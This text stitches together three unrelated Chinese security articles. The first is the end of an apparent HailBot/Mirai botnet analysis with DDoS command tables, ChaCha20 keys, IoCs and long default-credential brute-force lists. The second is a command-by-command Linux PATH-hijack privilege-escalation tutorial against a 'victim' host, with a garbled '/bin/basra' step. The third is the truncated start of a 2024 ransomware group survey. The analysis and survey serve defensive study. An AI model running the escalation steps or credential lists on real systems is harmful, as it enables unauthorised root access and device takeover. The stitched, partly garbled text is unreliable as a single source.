00 1D 04 1C 0E 08 0B 1A 12 07 05 09 0D 0F 06 0A 15 01 0C 14 1F 17 02 03 13 18”,nonce为“1E 00 4A 00 00 00 00 00 00 00 00 00”。 图 2‑2 HailBot.a使用chacha20解密字符串 2.1.3 上线包 HailBot.a运行后发送上线数据包,内容为:“31 73 13 93 04 83 32 01”。 图 2‑3 HailBot.a发送上线数据包 2.1.4 DDoS指令 当接收到攻击者发送来的指令后,HailBot.a将根据不同指令执行对应的DDoS攻击。HailBot.a支持的DDoS指令如下表所示。 表 2‑2 HailBot.a支持的DDoS指令 指令号 功能 影响 0 TCP泛洪攻击 创建连接发送大量500至900字节的TCP请求消耗受害者网络带宽。 1 SSDP泛洪攻击 利用简单服务发现协议(SSDP)发送大量“发现消息”请求使受害者进行响应,消耗受害者内存和CPU资源。 2 GRE IP泛洪攻击 发送大量封装有IP网络数据包的GRE协议数据消耗受害者网络带宽。 3 SYN泛洪攻击 发送大量SYN数据包,使服务器创建具有大量处于半连接状态的请求,消耗系统内存和CPU资源。 4 UDP泛洪攻击(512字节) 发送大量512字节的UDP请求消耗受害者网络带宽。 5 UDP泛洪攻击(1024字节) 发送大量1024字节的UDP请求消耗受害者网络带宽。 6 TCP STOMP泛洪攻击 发送创建连接发送大量768字节数据消耗受害者网络带宽。 7 TCP ACK泛洪攻击 发送具有随机源端口、目的端口及数据等信息的ACK数据包消耗受害者网络带宽。 2.2 HailBot.b HailBot.b同样是基于Mirai源代码二次开发的僵尸网络,输出的字符串为:“you are now apart of hail cock botnet”。 HailBot.b的典型样本信息如下表。 表 2‑3 HailBot.b典型样本标签 病毒名称 Trojan/Linux.Mirai[Backdoor] MD5 BB9275394716C60D1941432C7085CA13 处理器架构 AMD64 文件大小 93.34 KB (95,576 bytes) 文件格式 ELF 64-bit LSB executable 加壳类型 无 编译语言 C/C++ 2.2.1 传播方式 HailBot.b同样利用了CVE-2017-17215漏洞进行传播。 图 2‑4 HailBot.b中的CVE-2017-17215漏洞利用载荷 部分样本有利用CVE-2023-1389漏洞进行传播。 此外,HailBot.b样本中还发现用于暴破攻击的用户名和密码,如下表所示。 表 2‑4HailBot.b暴破攻击使用的用户名和密码和对应产品服务 (表格内容基于DeepSeek整理输出,并做人工修订,特此说明) 用户名 密码 可能关联的服务/品牌/设备类型 leox leolabs_7 Leox(显仕)设备或定制设备(如某些工控系统或私有网络设备) root wabjtam 可能为某些旧款路由器或摄像头(如中国小品牌设备) telnetadmin telnetadmin 某些网络设备(如交换机、路由器)的Telnet默认账户 admin gpon 某些光纤终端设备(如中兴/华为GPON光猫) admin admin123 常见通用默认密码(常见于路由器、摄像头,如TP-Link、D-Link) e8ehome e8ehome 电信或联通部分光猫/路由器(上海贝尔光猫、中兴ZXV10 H618C路由器、ZXA10 F460光猫) default default 部分设备通用默认配置(如某些旧款路由器或IoT设备) root root 部分设备和服务通用默认密码 default OxhlwSG8 可能为特定品牌设备(如某些企业级交换机或防火墙) root hme12345 海康威视(Hikvision)相关设备(如部分摄像头或NVR) admin aquario 可能为Aquario品牌设备(如温控系统或工控设备) root Zte521 中兴(ZTE)光纤调制解调器或路由器 root 1234 通用默认密码 root antslq 可能为安防设备(如某些国产摄像头品牌) default tlJwpbo6 复杂密码可能用于企业级设备(如防火墙或服务器) root default 网络设备(如某些交换机的默认配置) admin 1988 可能为某些摄像头或DVR(如年份相关默认密码) adtec adtec Adtec品牌设备(如监控系统或广播设备) root hkipc2016 海康威视(Hikvision)IPC摄像头 admin hme12345 海康威视(Hikvision)或关联设备 hikvision hikvision 海康威视(Hikvision)设备的默认账户 root login!@#123 企业级设备(如服务器或高端路由器) telecomadmin admintelecom 电信运营商设备(如华为/中兴光猫) telnetadmin HI0605v1 可能为Hikvision(HI)设备的Telnet登录 admin qwaszx 通用简单密码(常见于低端路由器或IoT设备) support support 技术支持账户(如服务器或网络设备) root 5up 极简密码可能用于测试设备或嵌入式系统 root a 未知 root icatch99 使用iCatch芯片的摄像头(如某些国产摄像头品牌) Admin a 未知 Admin Admin 通用管理员密码 root adminpassword 通用管理员密码(如某些新型路由器) root vizxv 不确定,可能为某品牌定制设备 root unisheen 可能为UniSheen品牌设备(如摄像头或工控设备) root a1sev5y7c39k 复杂密码可能用于企业级设备(如防火墙或VPN设备) root cxlinux 基于Linux的嵌入式设备(如某些工控系统) root sr1234 可能为监控设备(如某些DVR或NVR) root neworang 新橙科技(NewOrange)摄像头或物联网设备 root neworange88888888 新橙科技(NewOrange)摄像头或物联网设备 root neworangetech 新橙科技(NewOrange)摄像头或物联网设备 root oelinux123 Linux系统或嵌入式设备的默认凭证 root hslwificam HSL品牌WiFi摄像头 root jvbzd 不确定,可能为某小众品牌设备 admin stdONU101 光纤网络单元(ONU)设备(如标准配置的光猫或运营商设备) admin stdONUi0i 光纤网络单元(ONU)设备(如标准配置的光猫或运营商设备) 2.2.2 解密算法 HailBot.b的域名解密算法与HailBot.a相同,均为ChaCha20。且解密使用的key、nonce也与HailBot.a相同。其中:解密使用的key为“16 1E 19 1B 11 1F 00 1D 04 1C 0E 08 0B 1A 12 07 05 09 0D 0F 06 0A 15 01 0C 14 1F 17 02 03 13 18”,nonce为“1E 00 4A 00 00 00 00 00 00 00 00 00”。 图 2‑5 ChaCha20算法的key和nonce 2.2.3 上线包 HailBot.b样本中,大部分样本的上线包保持一致,均为:“56 63 34 86 90 69 21 01”。少部分样本(如MD5:F0E951D1ACFDF78E741B808AB6AB9628)的上线包与HailBot.a相同,为“31 73 13 93 04 83 32 01”。 图 2‑6 发送上线数据包 2.2.4 DDoS指令 HailBot.b相较HailBot.a支持的DDoS指令有所增多。HailBot.b支持的DDoS指令如下表所示。 表 2‑5 HailBot.b支持的DDoS指令 指令号 功能 影响 0 TCP泛洪攻击 通过创建连接发送大量512字节的TCP请求消耗受害者网络带宽。 1 UDP泛洪攻击(512字节) 通过大量512字节的UDP请求消耗受害者网络带宽,不具备异常处理。 2 GRE IP泛洪攻击 通过大量封装有IP网络数据包的GRE协议数据消耗受害者网络带宽。 3 SYN泛洪攻击 通过发送大量SYN数据包,使服务器创建具有大量处于半连接状态的请求,消耗系统内存和CPU资源。 4 UDP泛洪攻击(512字节) 通过大量512字节的UDP请求消耗受害者网络带宽。 5 UDP泛洪攻击(1024字节) 通过大量1024字节的UDP请求消耗受害者网络带宽。 6 TCP STOMP泛洪攻击 通过创建连接发送大量768字节具有ACK和PSH标记的TCP数据消耗受害者网络带宽。 7 TCP ACK泛洪攻击 通过发送具有随机源端口、目的端口及数据等信息的ACK数据包消耗受害者网络带宽。 8 无 该指令未被实现 9 Unknow_1 未知格式的TCP报文 10 TCP ACK泛洪攻击 通过发送具有特定源端口、目的端口及数据等信息的ACK数据包消耗受害者网络带宽。 11 UDP泛洪攻击 随机发送100到1312字节的UDP包数据包消耗受害者网络带宽,该数据包以“HDR:”以尝试规避防火墙检测。 12 Unknow_2 未知格式的UDP报文 13 TCP STOMP泛洪攻击 通过发送大量1至71字节具有ACK和PSH标记的TCP数据消耗受害者网络带宽。 14 Unknow_3 通过发送大量长度为0的UDP数据包 2.3 HailBot.c HailBot.c同样是基于Mirai源代码二次开发的僵尸网络,新版本输出的字符串为:“I just wanna look after my cats, man.”。 表 2‑6 HailBot.c典型样本标签 病毒名称 Trojan/Linux.Mirai[Backdoor] MD5 64ED4E5B07610D80539A7C6B9EF171AA 处理器架构 ARM32 文件大小 66.55 KB (68,148 bytes) 文件格式 ELF 32-bit LSB executable 加壳类型 无 编译语言 C/C++ 2.3.1 传播方式 该样本同样利用CVE-2023-1389漏洞和CVE-2017-17215漏洞进行传播。其中CVE-2023-1389漏洞是前导文件进行传播,而CVE-2017-17215漏洞则是写入样本自身中。 HailBot.c同样使用暴破的方式进行传播。用于暴破攻击的用户名和密码相较HailBot.b有所增加,如下表所示。 表 2‑7HailBot.c暴破攻击使用的用户名和密码 (表格内容基于DeepSeek整理输出,并做人工修订,特此说明) 用户名 密码 可能关联的服务/品牌/设备类型 root Pon521 ZTE 路由器(部分型号默认密码) root Zte521 ZTE 路由器(常见于中兴光猫/路由器) root root621 未知(可能为特定厂商定制设备) root vizxv 未知(可能为摄像头或IoT设备) root oelinux123 未知(可能与嵌入式Linux设备相关) root root 通用默认(Linux设备、路由器、摄像头等) root wabjtam 未知 root Zxic521 ZTE 路由器(猜测为早期中兴设备默认密码格式) root tsgoingon 未知 root 123456 多种设备通用默认配置(常见于低安全性设备) root xc3511 未知 root solokey 未知 root default 通用默认密码(部分IoT设备默认密码) root a1sev5y7c39k 未知(可能为随机生成或特定设备密钥) root hkipc2016 海康威视(Hikvision)摄像头(HKIPC为常见前缀) root unisheen 未知 root Fireitup 未知(可能为定制固件密码) root hslwificam 未知(可能为WiFi摄像头品牌) root 5up 未知 root jvbzd 未知 root 1001chin 未知 root system 通用默认密码(部分工控设备或服务器) root zlxx. 未知 root admin 通用默认密码(路由器、交换机等) root 7ujMko0vizxv 未知(可能与特定固件或定制设备相关) root 1234horses 未知 root antslq 未知 root xc12345 未知(可能与摄像头芯片相关) root xmhdipc 未知(可能为摄像头型号缩写) root icatch99 iCatch 摄像头(部分型号默认密码) root founder88 未知(可能为定制设备密码) root xirtam 未知(可能为逆向拼写"matrix"变体) root taZz@01 未知 root /*6.=_ja 未知 root 12345 常见通用默认密码(路由器、摄像头等) root t0talc0ntr0l4! 未知 root 7ujMko0admin 未知 root telecomadmin 电信设备(如光猫管理员账户) root ipcam_rt5350 RT5350芯片摄像头(联发科方案IP摄像头) root juantech 未知(可能为JuanTech品牌设备) root 1234 常见通用默认密码(低安全设备) root dreambox Dreambox卫星接收器(部分型号默认密码) root IPCam@sw 网络摄像头(通用默认或特定品牌) root zhongxing 中兴(Zhongxing)设备 root hi3518 海思Hi3518芯片摄像头(常见于安防设备) root hg2x0 未知(可能与华为HG系列光猫相关) root dropper 未知(可能为恶意软件后门密码) root ipc71a 网络摄像头(型号相关) root root123 通用默认密码(扩展型默认密码) root telnet 通用默认密码(Telnet服务默认凭据) root ipcam 网络摄像头(通用默认) root grouter 未知(可能为路由器品牌缩写) root GM8182 未知(可能为设备型号) root 20080826 未知(可能为日期相关密码) root 3ep5w2u 未知 admin root 通用默认密码(部分设备反向凭据) admin admin 通用默认密码(路由器、摄像头等) admin admin123 通用默认密码(扩展型默认密码) admin 1234 通用默认密码(低安全设备) admin admin1234 通用默认密码(扩展型默认密码) admin 12345 通用默认密码(常见于消费级设备) admin admin@123 通用默认密码(带符号变体) admin BrAhMoS@15 未知(可能为定制密码) admin GeNeXiS@19 未知(可能为定制密码) admin firetide Firetide无线网络设备(默认密码) admin 2601hx 未知 admin service 通用默认密码(服务账户) admin password 通用默认密码(广泛用于各类设备) supportadmin supportadmin 通用默认密码(技术支持账户) telnetadmin telnetadmin 通用默认密码(Telnet管理账户) telecomadmin admintelecom 电信设备(如光猫超级管理员账户) guest guest 通用默认密码(访客账户) ftp ftp 通用默认密码(FTP服务匿名访问) user user 通用默认密码(普通用户账户) guest 12345 通用默认密码(访客账户扩展密码) nobody nobody 通用默认密码(系统账户) daemon daemon 通用默认密码(系统账户) default 1cDuLJ7c 未知 default tlJwpbo6 未知 default S2fGqNFs 未知 default OxhlwSG8 未知 default 12345 通用默认密码(设备恢复默认设置密码) default default 通用默认(默认账户密码) default lJwpbo6 未知 default tluafed 未知(可能为“default”逆向拼写) guest 123456 通用默认密码(访客账户扩展密码) bin bin 通用默认密码(Linux系统账户) vstarcam2015 20150602 威视达康(Vstarcam)摄像头(型号相关默认密码) support support 通用默认(技术支持账户) hikvision hikvision 海康威视(Hikvision)设备(默认密码) default antslq 未知 e8ehomeasb e8ehomeasb 电信部分光猫(上海贝尔E8-C) e8ehome e8ehome 电信或联通部分光猫/路由器(上海贝尔光猫、中兴ZXV10 H618C路由器、ZXA10 F460光猫等默认密码) e8telnet e8telnet 部分电信路由器或光猫(如华为HG8245、中兴F660等)的Telnet登录用户名和密码 support 1234 通用默认密码(技术支持账户简化密码) cisco cisco 思科(Cisco)设备(旧型号默认密码) 2.3.2 解密算法 HailBot.c的域名解密算法与HailBot.a相同,均为ChaCha20。ChaCha20解密使用的nonce亦相同,为“1E 00 4A 00 00 00 00 00 00 00 00 00”。 其中:HailBot.c在利用ChaCha20解密时使用的key与HailBot.a有所不同,为“5E 8D 2A 56 4F 33 C1 C9 72 5D F9 1D 01 6C 2F 0B 77 3D 81 94 58 40 63 0A 79 62 1F 80 5C 3E 16 04”。 图 2‑7 ChaCha20算法的key和nonce 此外,对于解密得到的域名,HailBot.c与HailBot..b存在部分域名重叠的情况。 2.3.3 上线包 HailBot.c样本的上线包为:“56 63 34 86 90 69 21 01”,如下图所示。 图 2‑8 HailBot.c样本的上线包 2.3.4 DDoS指令 HailBot.c相较HailBot.a支持的DDoS指令有所增多,HailBot.c支持的DDoS指令如下表所示。 表 2‑8HailBot.c支持的DDoS指令 指令号 功能 影响 0 TCP泛洪攻击 通过创建连接发送大量512字节的TCP请求消耗受害者网络带宽。 1 UDP泛洪攻击(512字节) 通过大量512字节的UDP请求消耗受害者网络带宽,不具备异常处理。 2 GRE IP泛洪攻击 通过大量封装有IP网络数据包的GRE协议数据消耗受害者网络带宽。 3 SYN泛洪攻击 通过发送大量SYN数据包,使服务器创建具有大量处于半连接状态的请求,消耗系统内存和CPU资源。 4 UDP泛洪攻击(512字节) 通过大量512字节的UDP请求消耗受害者网络带宽。 5 UDP泛洪攻击(1024字节) 通过大量1024字节的UDP请求消耗受害者网络带宽。 6 TCP STOMP泛洪攻击 通过创建连接发送大量768字节具有ACK和PSH标记的TCP数据消耗受害者网络带宽。 7 TCP ACK泛洪攻击 通过发送具有随机源端口、目的端口及数据等信息的ACK数据包消耗受害者网络带宽。 11 UDP泛洪攻击 随机发送100到1312字节的UDP包数据包消耗受害者网络带宽,但不再以“HDR:”开头。 14 Unknow 通过发送大量长度为0的UDP数据包 3 其他信息、分析关联与总结 3.1 样本分析的汇总结论 HailBot.b、HailBot.c均为HailBot.a的变种,但存有差异变化。在自动化传播方式方面,HailBot.a与HailBot.b、HailBot.c都利用了CVE-2017-17215漏洞。而HailBot.b、HailBot.c都利用常见用户名口令档进行暴破攻击的方式进行传播;在解密算法方面,HailBot的三个变种都采用了ChaCha20算法。HailBot.a与HailBot.b解密使用的key相同,HailBot.c对解密使用的key进行了更新;在上线数据包方面,HailBot.b、HailBot.c相较HailBot.a有所更新。在DDoS攻击支持的指令方面,HailBot.b、HailBot.c相较HailBot.a支持的指令数有所增加,且HailBot.b与HailBot.c支持的指令亦有所不同。 3.2 样本的新的漏洞投放方式 B变种和C变种通过CVE-2023-1389漏洞植入部分目标设备,该漏洞是一个影响TP-Link Archer AX21(AX1800)路由器的高危命令注入漏洞,该漏洞存在于路由器的Web管理界面中。攻击者可以通过未经过身份验证的简单POST请求注入恶意命令,这些命令将以root权限执行,达到远程代码执行的目的。 图 3‑1 安天监测到的利用CVE-2023-1389漏洞传播的流量数据 3.3 样本的密码档对比 值得对比关注的是B变种和C变种的密码档对比,B变种密码档记录有45条,C变种有96条,但两个密码档重叠部分只有24条。其中除了对部分常见默认密码的延续使用,其中部分密码似乎并非设备默认口令,而且是存在一定强度的口令。可以猜测的是部分企业或运营商在规模化部署网络或IoT设备中,为了方便,对设备采取了统一的密码设置。而相关密码被攻击者获取后,配置在密码档中,就可以扩散感染到所有采取对应策略的部署设备中。但对于两个僵尸网络间的密码档继承逻辑,还可以进一步关注分析。 图 3‑2 HailBot.b、HailBot.c密码档的重复内容 3.4 样本的生命周期和分支关系 安天CERT针对“赛博超脑”平台中三个变种样本和活动时间进行对比,梳理出相关样本的活跃时间如下图所示。由于HailBot.b比较清晰的呈现出与HailBot.a时间接力特点,可以猜测B变种,有可能是对A变种的一次整体版本更新。 图 3‑3三个版本活跃时间的对比 但C变种和B变种对比,利用的漏洞相似,但有更大的密码档(但未呈现完整的密码档继承关系),攻击指令编码基本相同。因此,C变种是最新的变种。 4 小结:关于样本检测分析和僵尸网络分析 威胁样本的精确检测能力是威胁防御的基本能力,样本的细粒度分析是攻击分析的基础工作。 但在本次分析工作中显现的问题是:我们的引擎输出了类似“Trojan/Linux.Mirai[Backdoor]”这样严格遵循CARO公约的精确命名,对于支撑僵尸网络的细粒度分析,提供的区分度依然是不够的。反病毒引擎是面向恶意执行体对象的检测能力,从威胁情报层次来看,这是在Payload/Tools层面的情报支撑,正因为存在大量的样本版本更新、加密、免杀、变换等情况,反病毒引擎从设计上,必然要遏制规则膨胀,而需要以更小的代价和规则命中更多的同家族样本。这时我们在AVL SDK反病毒引擎中添加了大量的脱壳、解密、虚拟执行等机制,以增强检测的鲁棒性。因此在有新的变化样本时,只要反病毒引擎可以正常检测告警,我们通常不会添加新规则、更不会针对调整样本命名。这个基本上是反病毒企业的惯例,例如HailBot.a相关样本在国家计算机病毒协同分析平台(https://virus.cverc.org.cn/#/entirety/search)中的多家对照命名均为Mirai: 图 4‑1国家计算机病毒协同分析平台对HailBot.a样本检测对照 僵尸网络分析工作中,样本分析是其中重要的一部分工作,而且是一个“收敛点”,但僵尸网络的完整分析和跟踪,还需要做出更多的细粒度的工作。包括C2、上线数据、攻击指令等分析等等,以及对僵尸网络分布、规模的分析评估,而归因与溯源则需要掌握更多资源、付出更大的成本。 相关分析也再次证明,政企防御僵尸网络感染的前提,是做好简单枯燥的基本功,包括更改默认口令、为不同的设备和服务配置不同的口令、及时更新系统和设备补丁。 本次分析工作的值得纪念之处,是我们在大模型技术和平台辅助下,分析针对大模型平台攻击的恶意样本。我们用自研的澜砥威胁分析垂直大模型辅助特征工程体系,实现了更方便的样本分类、聚类和特征(含表征)发现,DeepSeek在我们整理密码档对应的设备方面,帮我们可以快速的从硬编码信息输出数据汇总表(当然还需要逐一查证)和快速进行密码档间的比对。我们正在将DeepSeek与我们的样本集成分析环境进行整合。因此我们感谢大模型技术,可以更多替代重复和基本推理。让我们做进行更有价值的深源知识和价值创造。 附录:部分IoC 表 4‑1 Hash MD5 6C6D1CCCE5946F0AA68F9E0C438C1E21 2DFE4015D6269311DB6073085FD73D1B BB9275394716C60D1941432C7085CA13 F0E951D1ACFDF78E741B808AB6AB9628 A155F5812EA93DDEA553EA84CE28400D 5 参考链接 [1] 安天.攻击DeepSeek的相关僵尸网络样本分析.(2025-02-05) https://mp.weixin.qq.com/s/NvlVuA5urPG_r6attAiXsA
-
使用PATH变量进行Linux权限升级技巧
0x00 前言 在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助。在本文中,我们将学习“使用$path变量的各种方法”以获得远程主机的root访问权限,以及CTF挑战所使用的技术,以生成导致权限提升的$path漏洞。如果你已经解决了CTF后利用的挑战,那么通过阅读本文,您将认识到导致权限提升的几个漏洞。 0x001 PATH变量介绍 PATH是Linux和Unix操作系统中的环境变量,它指定存储所有可执行程序的所有bin和sbin目录。当用户在终端上运行任何命令时,它请求shell在path变量的帮助下搜索可执行文件,以响应用户执行的命令。超级用户通常还具有/sbin和/usr/sbin权限,以便轻松执行系统管理命令。 借助echo命令查看相关用户的路径非常简单。 echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games 如果你注意到'.'符号,那么在环境PATH变量中,它意味着已登录的用户可以从当前目录执行二进制文件和脚本,这对于攻击者提升root权限是一种很好的技术。这是由于在编写程序时缺乏注意,因此管理员没有指定程序的完整路径。 0x03 PATH变量提权方法一 1.Ubuntu实验设置 目前,在/home/raj目录中,我们将在其中创建一个以名称作为脚本的新目录。现在在脚本目录中,我们将编写一个小的C程序来调用系统二进制文件的函数。 pwd mkdir script cd script nano demo.c 正如您在demo.c文件中所看到的那样,我们正在调用ps命令(进程状态),它是系统二进制文件。 然后使用gcc编译demo.c文件,并将suid权限提升到编译文件 ls gcc demo.c -o shell chmod u+s shell ls -la shell 2.权限提升 首先,您需要攻击目标系统,然后进入到权限提升阶段。假设您使用普通用户通过ssh成功地登录到受害者的主机。然后在没有浪费时间的情况下,在Find命令的帮助下搜索具有SUID或4000权限的文件。 find / -perm -u=s -type f 2>/dev/null 因此,在上述命令的帮助下,攻击者可以枚举任何可执行文件,这里我们还可以看到/home/raj/script/shell具有suid权限。 然后,我们进入/home/raj/script目录中并看到一个可执行文件“shell”。所以我们运行这个文件,在这里看起来这个文件正在尝试运行ps,这是/bin中的一个真实文件,用于获取进程状态。 ls ./shell (1) echo命令:第一种生成root权限的技术 cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./shell whoami (2)复制命令-第二种生成root权限的技术 cd /home/raj/script/ cp /bin/sh /tmp/ps echo $PATH export PATH=/tmp:$PATH ./shell whoami (3)symlink命令-第三种生成root权限的技术 ln -s /bin/sh ps export PATH=.:$PATH ./shell id whoami 注意:symlink也称为符号链接,如果目录具有执行权限,它将成功运行。在Ubuntu中有symlink的情况下,我们已将/script目录赋予777权限 因此,我们看到攻击者可以使用环境变量PATH来提升权限并获得root访问权限。 0x04 PATH变量提权方法二 1.Ubuntu实验设置 重复上面相同的步骤来配置你自己的实验,现在在脚本目录中,我们将编写一个小的c程序来调用系统二进制文件的函数。 pwd mkdir script cd /script nano test.c 正如您在我们的test.c文件中看到的那样,我们正在调用id命令,即系统二进制文件。 然后使用gcc编译test.c文件,并将suid权限提升到编译后的文件 ls gcc test.c -o shell2 chmod u+s shell2 ls -la shell2 2.权限提升 同样,您需要攻击目标系统,然后进入到特权提升阶段。假设您使用普通用户通过ssh成功地登录到受害者的主机。然后在没有浪费时间的情况下,在Find命令的帮助下搜索具有SUID或4000权限的文件。在这里,我们还可以看到/home/raj/script/shell2是否具有suid权限。 find / -perm -u=s -type f 2>/dev/null 然后我们进入/home/raj/script目录,并看到一个可执行文件“shell2”。所以我们运行这个文件,看起来shell2正在尝试运行id,这是/bin中的一个真实文件。 cd /home/raj/script/ ls ./shell2 (1) Echo命令 cd /tmp echo "/bin/bash" > id chmod 777 id echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./shell2 whoami 0x05 PATH变量提权方法三 1.Ubuntu实验设置 重复以上步骤来设置自己的实验,正如您在raj.c文件中看到的那样,我们调用cat命令从etc/passwd文件内读取其内容。 然后使用gcc编译raj.c文件,并将suid权限提升到编译后的文件。 ls gcc raj.c -o raj chmod u+s raj ls -la raj 2.权限提升 再次攻击受害者的系统,然后进入权限升级阶段,执行以下命令查看sudo用户列表。 find / -perm -u=s -type f 2>/dev/null 在这里我们还可以看到/home/raj/script/raj拥有suid权限,然后我们进入/home/raj/script目录,并看到一个可执行文件“raj”。因此,当我们运行这个文件时,它将会查看到etc/passwd文件的内容。 cd /home/raj/script/ ls ./raj (1) Nano Editor:第四种权限提升技术 cd /tmp nano cat 现在,当终端打开并输入/bin/basra,然后进行保存 chmod 777 cat ls -al cat echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./raj whoami 0x06 PATH变量提权方法四 1.Ubuntu实验设置 重复上面的步骤来设置你自己的实验,正如您在demo.c文件中看到的那样,我们调用cat命令来读取msg.txt内容,该文件在/home/raj中,但实际在/home/raj中没有这样的文件。 然后使用gcc编译demo.c文件,并将SUID权限提升到编译后的文件 ls gcc demo.c -o ignite chmod u+s ignite ls -la ignite 2.权限提升 再次攻击受害者的系统,然后进入到权限升级阶段,执行以下命令查看sudo用户列表。 find / -perm -u=s -type f 2>/dev/null 在这里,我们还可以看到/home/raj/script/ignite拥有suid权限,然后我们进入/home/raj/script目录,并看到一个可执行文件“ignite”。所以当我们运行这个文件时,它会输出错误“cat:/home/raj/msg.txt”作为结果。 cd /home/raj/script/ ls ./ignite (1) vi编辑器-第五种权限提升技术 cd /tmp vi cat 现在,当终端打开并输入/bin/basra,然后进行保存 chmod 777 cat echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./ignite whoami
-
2024年活跃勒索攻击组织盘点
1 概述 勒索攻击目前已成为全球组织机构主要的网络安全威胁之一,被攻击者作为牟取非法经济利益的犯罪工具。为了增加受害方支付勒索赎金的概率并提升赎金金额,攻击者已从单纯的恶意加密数据演变为采用“窃取文件+加密数据”的双重勒索策略。更有甚者,在双重勒索的基础上,增加DDoS攻击以及骚扰与受害方有关的第三方等手段,进一步演变为“多重勒索”。近年来,勒索攻击的主流威胁形态已从勒索团伙广泛传播勒索软件收取赎金,逐渐转化为“RaaS(勒索软件即服务)+定向攻击”收取高额赎金的模式。这种模式针对高价值目标,RaaS的附属成员通过购买0Day漏洞、研发高级恶意代码、收买企业内鬼和情报等手段,提高突防能力并提升勒索载荷落地成功率。这种“定向勒索+窃密+曝光+售卖”的组合链条,通过胁迫受害者支付赎金从而实现获利。为有效应对勒索风险,防御者需要改变对勒索攻击这一威胁的认知,并且更深入地了解定向勒索攻击的运行机理,才能构建有效的敌情想定,针对性的改善防御和响应能力。 2024年中,勒索攻击事件频繁发生,攻击者通过广撒网式的非定向模式和有针对性的定向模式开展勒索攻击。勒索攻击持续活跃的因素之一是RaaS商业模式的不断更新。RaaS是勒索攻击组织开发和运营的基础设施,包括定制的破坏性勒索软件、窃密组件、勒索话术和收费通道等。各种攻击组织和个人可以租用RaaS攻击基础设施,完成攻击后与RaaS组织按比例分赃。这一商业模式的兴起和成熟,使得勒索攻击的门槛大幅降低,攻击者甚至无需勒索软件开发技能,也能对目标进行定向攻击。另一重要因素是初始访问经纪人(Initial Access Broker, IAB)的助纣为虐。IAB通过售卖有效访问凭证给攻击者实现非法获利,而无需亲自进行攻击。攻击者利用这些凭证,对特定目标进行有针对性的勒索攻击,建立初始访问后展开后续恶意活动,最终实现对目标的勒索行为。 据不完全统计,2024年中至少有90个不同名称的勒索攻击组织通过Tor网站或Telegram频道等特定信息源发布受害者信息。其中,新增的50个勒索攻击组织中,有21个与已知组织存在联系。这些组织发布的受害者信息涉及约5300个来自全球不同国家或地区的组织机构,覆盖多个行业。然而,实际受害者数量可能远超这一数字,因为某些情况下,攻击者可能基于多种原因选择不公开或删除信息,例如在与受害者达成协议后,或受害者支付赎金以换取信息的移除。 相关勒索软件及勒索攻击组织信息参考计算机病毒百科(https://www.virusview.net/)。 表 1‑1 2024年发布受害者信息的组织 2024年曾发布受害方信息的勒索攻击组织(按首字母排序) 0mega 8Base Abyss Akira Apos APT73 Arcus Media Argonauts BianLian Black Basta BlackByte BlackCat/ALPHV BlackSuit BlackOut BlueBox Brain Cipher Cactus Chort Cicada3301 Ciphbit Cloak Clop Cuba DaiXin dan0n Dark Angel/Dunghill Dark Vault Donex Donut DragonForce El dorado Embargo Everest FSociety Fog Gookie HellCat Helldown Hunters INC Insane InterLock Kairos Kill Security Knight LockBit Lynx Mad Liberator Lorenz Mallox Medusa MedusaLocker Meow Metaencryptor Money Message Monti Mydata Nitrogen Noname Orca Play PlayBoy Pryx QiLin QiuLong RA World RansomCortex RansomEXX RansomHouse RansomHub Red Rhysida SafePay SEXi(APT INC) Sarcoma Sensayq Slug Snatch SpaceBears Stormous Termite ThreeAM(3AM) Trigona Trinity Trisec Underground Unsafe Valencia Vanir Group WereWolves 目前,勒索攻击的主流威胁形式已经演变为RaaS+定向攻击收取高额赎金的运行模式。全球范围内,制造、医疗、建筑、能源、金融和公共管理等行业频繁成为勒索攻击的目标,给全球产业产值造成严重损失。现将2024年活跃勒索梳理形成攻击组织概览,进行分享。 2 勒索攻击行为分类 2024年活跃的勒索攻击行为主要有以下三类: ·加密文件 采用此类勒索攻击方式的攻击者会使用勒索软件执行体对数据文件进行加密,执行体通过特定加密算法(如AES、RSA、ChaCha20和Salsa20等)组合利用对文件进行加密,大多数被加密文件在未得到对应密钥的解密工具时,暂时无法解密,只有少部分受害文件因勒索软件执行体存在算法逻辑错误而得以解密。 ·窃取文件 采用此类勒索攻击方式的攻击者不使用勒索软件执行体对数据文件进行加密,仅在目标系统内驻留并窃取数据文件,窃密完成后通知受害者文件被窃取,如不按期支付勒索赎金,则会公开或出售窃取到的数据文件,给予受害者压力,从而迫使受害者尽早支付赎金。 ·窃取文件+加密文件(双重勒索) 采用此类勒索攻击方式的攻击者发动勒索攻击前,会在目标系统内驻留一段时间,在此期间窃取数据文件,在窃取工作完成后会投放勒索软件执行体,加密系统中的文件,并通知受害者文件被窃取,如不按期支付勒索赎金,不仅现有网络环境中的文件因被加密而无法使用,而且还会公开或出售窃取到的数据文件,给予受害者压力,从而迫使受害者尽早支付赎金。 3 2024年活跃勒索攻击组织盘点 回顾2024年发生的勒索软件攻击事件,根据攻击活跃度和受害者信息发布数量,对活跃的勒索攻击组织进行盘点。盘点按组织名称的首字母进行排序,排名不分先后。 表 1‑2 2024年活跃勒索组织概览 3.1 8Base 8Base勒索软件于2022年3月首次被发现,其勒索软件代码基于Phobos勒索软件开发。该勒索软件背后的攻击组织采用RaaS和双重勒索的模式运营,疑似为RansomHouse勒索攻击组织的分支或品牌重塑。该组织主要通过漏洞武器化、有效访问凭证和搭载其他恶意软件等方式对目标系统进行突防,常利用SmokeLoader木马实现对目标系统的初始访问。在建立与目标系统的初始访问后,该组织利用多种工具作为攻击装备以实现其他恶意行为。例如,利用Mimikatz、LaZagne、VNCPassView等工具窃取系统中的凭据,利用PsExec实现横向移动,利用Rclone回传窃取到的数据。目前暂未发现公开的解密工具。 2024年,8Base受害者信息发布及数据泄露平台发布约150名受害者信息,实际受害者数量可能更多。 3.1.1 组织概览 3.2 Akira 